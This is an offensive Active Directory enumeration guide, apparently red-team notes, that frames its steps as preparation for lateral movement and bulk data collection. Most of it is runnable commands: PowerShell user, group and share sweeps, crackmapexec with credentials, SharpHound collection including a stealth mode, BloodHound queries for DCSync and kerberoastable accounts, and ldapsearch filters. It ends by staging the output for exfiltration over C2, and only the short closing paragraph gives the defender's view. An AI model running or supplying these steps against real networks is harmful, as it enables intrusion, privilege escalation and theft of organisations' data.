Active Directory enumeration for collection

Mapping the Active Directory environment to identify high-value targets, privileged accounts, attack paths, and where sensitive data lives before beginning lateral movement or bulk collection.

Audit the environment before touching anything

# check current identity and privileges
whoami /all
[System.Security.Principal.WindowsIdentity]::GetCurrent().Groups |
  Where-Object { $_.Value -match 'S-1-5-32-544|Domain Admins|Enterprise Admins' }

# identify domain and forest
(Get-ADDomain).DNSRoot
(Get-ADForest).Name
(Get-ADForest).Domains

User and group enumeration

# enumerate all enabled users with last logon
Get-ADUser -Filter { Enabled -eq $true } -Properties LastLogonDate, MemberOf |
  Select-Object SamAccountName, LastLogonDate,
    @{N='Groups'; E={$_.MemberOf -join '; '}} |
  Sort-Object LastLogonDate -Descending

# privileged groups: who is in them?
foreach ($group in @('Domain Admins','Enterprise Admins','Schema Admins',
                     'Backup Operators','Account Operators','Server Operators')) {
    $members = Get-ADGroupMember -Identity $group -Recursive 2>/dev/null |
               Select-Object -ExpandProperty SamAccountName
    Write-Output "$group : $($members -join ', ')"
}

# service accounts: often over-privileged, often have weak passwords
Get-ADUser -Filter { ServicePrincipalName -like '*' } -Properties ServicePrincipalName |
  Select-Object SamAccountName, ServicePrincipalName

Computer enumeration

# all domain computers with OS
Get-ADComputer -Filter * -Properties OperatingSystem, LastLogonDate |
  Select-Object Name, OperatingSystem, LastLogonDate |
  Sort-Object LastLogonDate -Descending

# find servers specifically (useful for targeting file shares, databases)
Get-ADComputer -Filter { OperatingSystem -like '*Server*' } -Properties OperatingSystem |
  Select-Object Name, OperatingSystem

Share enumeration

# enumerate accessible shares across the domain
$computers = Get-ADComputer -Filter * | Select-Object -ExpandProperty Name
foreach ($computer in $computers) {
    try {
        $shares = Get-WmiObject -Class Win32_Share -ComputerName $computer `
                    -ErrorAction Stop |
                  Where-Object { $_.Type -eq 0 }  # disk shares only
        foreach ($share in $shares) {
            Write-Output "$computer\$($share.Name): $($share.Path)"
        }
    } catch {}
}
# Linux: find shares using crackmapexec or smbclient
crackmapexec smb 192.168.1.0/24 --shares -u USER -p PASSWORD

BloodHound collection

BloodHound provides attack path visualisation. SharpHound performs the ingest; the output JSON files are imported into BloodHound.

# SharpHound: collect all data (runs as current user)
.\SharpHound.exe -c All --outputdirectory C:\Temp\bh\

# stealthier: collect specific data only and use a lower collection frequency
.\SharpHound.exe -c DCOnly --stealth --outputdirectory C:\Temp\bh\

After import, key BloodHound queries:

# Cypher: find shortest path to Domain Admins from owned principals
MATCH p=shortestPath((n {owned:true})-[*1..]->(m:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"}))
RETURN p

# find users with DCSync rights
MATCH (n)-[:DCSync|AllExtendedRights|GenericAll]->(m:Domain)
RETURN n.name, m.name

# find kerberoastable users
MATCH (u:User {hasspn:true}) WHERE u.enabled=true
RETURN u.name, u.serviceprincipalnames

Group Policy and trust enumeration

# enumerate GPOs (may contain credential material or scripts)
Get-GPO -All | Select-Object DisplayName, GpoStatus, ModificationTime

# find GPO settings that deploy scripts
Get-GPO -All | ForEach-Object {
    $report = Get-GPOReport -Guid $_.Id -ReportType XML
    if ($report -match 'Script') { Write-Output $_.DisplayName }
}

# domain trusts: other domains that may be reachable
Get-ADTrust -Filter * | Select-Object Name, TrustType, TrustDirection, TrustAttributes

LDAP queries (when PowerShell cmdlets are restricted)

# ldapsearch from Linux against a domain controller
ldapsearch -H ldap://DC_IP -b "DC=domain,DC=local" \
  -D "user@domain.local" -w "PASSWORD" \
  "(objectClass=user)" sAMAccountName userPrincipalName memberOf

# find accounts with passwords that do not expire
ldapsearch -H ldap://DC_IP -b "DC=domain,DC=local" \
  -D "user@domain.local" -w "PASSWORD" \
  "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=65536))" \
  sAMAccountName

Output and staging

Collected enumeration data should be staged for exfiltration before leaving the environment. Compress and optionally encrypt the output:

Compress-Archive -Path C:\Temp\bh\*.json -DestinationPath C:\Temp\bh.zip
# exfiltrate bh.zip via C2 or exfiltration channel

Counter moves

Directory enumeration looks like normal LDAP and is hard to block without breaking things. What helps is alerting on bulk or unusual query patterns and reducing what an ordinary account can read in the first place. The defender’s view is in the blue notes on watching data being gathered.